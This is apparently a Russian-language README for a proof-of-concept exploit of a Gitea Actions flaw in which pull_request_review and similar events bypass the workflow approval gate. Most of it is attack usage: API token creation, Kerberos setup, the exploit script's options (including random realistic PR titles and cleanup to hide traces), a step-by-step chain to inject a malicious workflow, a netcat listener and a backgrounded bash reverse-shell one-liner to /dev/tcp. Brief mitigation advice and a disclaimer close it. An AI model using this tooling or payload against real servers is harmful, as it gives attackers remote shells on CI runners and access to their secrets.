
Уязвимость в логике проверок одобрения (approval‑gate) Gitea, открытого Git‑сервера, позволяет объединять pull request, созданный в постоянном форке, без выполнения настроенных в репозитории правил одобрения.
Серьёзность: Высокая (CVSS 8.9) Затронутые версии: Gitea ≤ 1.26.2 Исправлено в: Gitea 1.26.3 Рекомендация: GHSA-777r-4v59-6486
Gitea Actions применяет шлюз утверждения к запускам рабочих процессов, инициированным pull request'ами из форков. Шлюз реализован в ifNeedApproval() и предназначен для того, чтобы недоверенные контрибьюторы не могли выполнять произвольный код через CI-конвейеры.
Недостаток заключается в том, что ifNeedApproval() корректно применяется только к событию pull_request. Каждый тип события, перечисленный в блоке on: рабочего процесса, порождает независимый объект ActionRun с собственной проверкой утверждения. Когда атакующий расширяет блок on:, добавляя такие события, как pull_request_review, issue_comment или pull_request_review_comment, эти запуски выполняются в обход шлюза утверждения.
Инициирование любого из этих незащищённых событий — например, публикация комментария к ревью PR — немедленно запускает рабочий процесс от имени сервисной учётной записи раннера, и одобрение мейнтейнера при этом не требуется.
Функция ifNeedApproval() проверяет утверждение на основе (repo_id, trigger_user_id) для события pull_request, но не применяет эту проверку единообразно ко всем типам событий, которые могут быть инициированы.
Уязвимый путь:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| Требование | Детали |
|---|---|
| Учётная запись Gitea | Любой аутентифицированный пользователь с разрешением на создание форков |
| Целевой репозиторий | Gitea Actions должны быть включены |
| Раннер | act_runner должен быть онлайн и зарегистрирован |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
Через браузер: Settings -> Applications -> Generate Token
Необходимые области доступа: запись в репозиторий + запись в issues.
Через API:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
Запуск:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Для экземпляров Gitea, принимающих только Kerberos/SPNEGO (среды Active Directory с принудительным применением SSPI). Запуск должен выполняться с хоста, входящего в домен, при наличии действительного TGT.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Если разрешение DNS завершается ошибкой, настройте /etc/krb5.conf:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
По умолчанию act_runner работает с одним воркером. Если этап reverse shell не завершится корректно, раннер останется в состоянии «running» и будет игнорировать новые задания.
Чтобы избежать этого, запустите shell в фоне:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
Либо используйте --custom-payload, чтобы передать демонизированную однострочную команду напрямую.
ActionRun с event=pull_request_review или event=issue_comment, происходящие из PR форковpull_request_review с шагами выполнения shell-команд| Действие | Описание |
|---|---|
| Обновление | Gitea 1.26.3+ устраняет эту проблему |
| Обходной путь | Отключите Gitea Actions в репозиториях с недоверенными контрибьюторами |
| Аудит | Проверяйте PR из форков и связанные запуски рабочих процессов на предмет неожиданного выполнения |
| Ограничение | Ограничьте разрешения на создание форков доверенными пользователями |
Только для авторизованного тестирования безопасности и исследовательских целей. Не используйте против систем без явного письменного разрешения.
| Сеть | Хост атакующего должен быть доступен с раннера |